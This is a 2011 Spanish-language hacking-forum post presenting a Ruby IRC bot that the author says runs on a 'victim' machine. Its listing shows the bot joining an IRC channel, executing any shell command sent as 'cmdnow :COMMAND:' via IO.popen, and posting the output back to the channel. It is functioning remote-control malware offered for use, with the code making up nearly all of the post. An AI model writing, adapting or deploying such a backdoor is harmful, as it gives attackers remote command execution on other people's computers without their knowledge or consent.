elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Ruby] IRC Bot
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Ruby] IRC Bot  (Leído 2,285 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Ruby] IRC Bot
« en: 7 Octubre 2011, 01:30 am »

Hola a todos

Acabo de hacer un simple bot para IRC , el bot se
conecta en la maquina ejecutante (victima) con un nombre
marcado por ustedes , entonces con solo poner

cmdnow :TU COMANDO:

Recibiran en el mismo chat un mensaje con el resultado del comando puesto

El codigo es el siguiente


Código
  1. #!usr/bin/ruby
  2. #IRC Bot (C) Doddy Hackman 2011
  3.  
  4. host = "localhost"
  5. canal = "#locos"
  6. botname = "aa"
  7.  
  8. def head()
  9. print "\n\n == -- IRC BOT -- ==\n\n"
  10. end
  11.  
  12. def uso()
  13. print "\n[+] Sintax : #{$0} <host> <channel> <bot name>\n"
  14. end
  15.  
  16. def copyright()
  17. print "\n\n(C) Doddy Hackman 2011\n\n"
  18. end
  19.  
  20. def load(host,canal,botname)
  21. begin
  22. irc = TCPSocket.open(host,6667)
  23. rescue
  24. print "\n\n[-] Error\n\n"
  25. else
  26. irc.print "NICK #{botname}\r\n"
  27. irc.print "USER #{botname} 1 1 1 1\r\n"
  28. irc.print "JOIN #{canal}\r\n"
  29.  
  30. print "\n\n[+] Online\n\n"
  31.  
  32. while 1
  33.  
  34. code = irc.recv(666)
  35.  
  36. if (code=~/PING (.*)/)
  37. irc.print "PONG #{$1}\n"
  38. end
  39.  
  40. #if code=~/:(.*)!(.*):(.*)/
  41. #print "Un tal : #{$1}\n"
  42. #print "Dijo : #{$3}\n"
  43. #end
  44.  
  45. if code=~/cmdnow :(.*):/
  46. re = IO.popen($1).read
  47. re = re.gsub("\n","|")
  48. irc.print "PRIVMSG #locos : ",re,"\r\n"
  49. end
  50. end
  51. end
  52. end
  53.  
  54. head()
  55. load(host,canal,botname)
  56. copyright()
  57.  
  58.  
  59. # ¿ The End ?
  60.  


« Última modificación: 8 Octubre 2011, 19:01 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ruby
Programación General
¡Micronet! 2 3,111 Último mensaje 18 Octubre 2010, 22:49 pm
por ¡Micronet!
[Introducing Ruby] Lo que debes saber sobre Ruby
Scripting
RyogiShiki 0 9,621 Último mensaje 4 Marzo 2011, 20:45 pm
por RyogiShiki
[Ruby] Simple Keylogger
Scripting
BigBear 0 3,830 Último mensaje 7 Octubre 2011, 01:30 am
por BigBear
[Ruby] SQLI Scanner
Scripting
BigBear 0 1,947 Último mensaje 7 Octubre 2011, 01:32 am
por BigBear
[Ruby] Problema con Scripts
Scripting
MeCraniDOS 4 3,223 Último mensaje 8 Noviembre 2012, 00:26 am
por MeCraniDOS
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines